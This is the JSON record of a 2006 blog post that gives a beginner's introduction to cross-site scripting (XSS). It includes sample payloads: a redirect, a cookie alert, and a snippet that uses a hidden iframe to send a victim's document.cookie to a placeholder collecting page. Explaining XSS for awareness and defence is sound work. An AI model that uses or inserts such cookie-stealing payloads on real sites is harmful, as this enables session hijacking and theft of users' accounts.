{"id":220,"date":"2006-06-22T12:57:49","date_gmt":"2006-06-22T12:57:49","guid":{"rendered":"https:\/\/www.darknet.org.uk\/2006\/06\/cross-site-scripting-xss\/"},"modified":"2010-07-11T08:15:00","modified_gmt":"2010-07-11T07:15:00","slug":"cross-site-scripting-xss","status":"publish","type":"post","link":"https:\/\/www.darknet.org.uk\/2006\/06\/cross-site-scripting-xss\/","title":{"rendered":"Cross Site Scripting (XSS)"},"content":{"rendered":"

<\/p>\n

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.<\/p>\n

About<\/strong>
\nXSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
\nIn fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions…
\nIn a small definition: XSS=JavaScript+HTML<\/p>\n

The Call Of Javascript<\/strong>
\nEven if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don’t know JavaScript I recommend them http:\/\/www.javascript.com<\/a>… After learning the basics of this wonderful scripting language, you will be ready to go…<\/p>\n

Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?<\/p>\n

Posibilities<\/strong>
\nWith XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:<\/p>\n

\n<script>
\ndocument.location=”http:\/\/what-page.you.want.com”;
\n<\/script>\n<\/p><\/blockquote>\n

Also you could do something like popping up the cookie:<\/p>\n

\n<script>
\nalert(document.cookie);
\n<\/script>\n<\/p><\/blockquote>\n

And if you know a little php you could create a page that save’s data received via get and stores them in a file\/database…<\/p>\n

\n<script>
\nvar theCookie = document.cookie;
\ndocument.write(‘<iframe width=\\”1\\” height=\\”1\\” style=\\”visibiliy: hidden\\” href=\\”http:\/\/your.page.com\/cookie.php?theCookie=’ +theCookie+ ‘\\” ><\/iframe>’);
\n<\/script>\n<\/p><\/blockquote>\n

Also there are more possibilities with XSS, you just need some creativity…<\/p>\n

More XSS<\/strong>
\nI have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s<\/strong> page on XSS:
ha.ckers.org\/xss.html<\/a><\/p>\n

<\/p>\n

Also a great XSS database can be found at: securityfocus<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article. About XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what […]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[1,15],"tags":[127,138,355,390,392,770],"featured_image_src":null,"featured_image_src_square":null,"author_info":{"display_name":"backbone","author_link":"https:\/\/www.darknet.org.uk\/author\/backbone\/"},"_links":{"self":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/220"}],"collection":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/comments?post=220"}],"version-history":[{"count":0,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/220\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/media?parent=220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/categories?post=220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/tags?post=220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}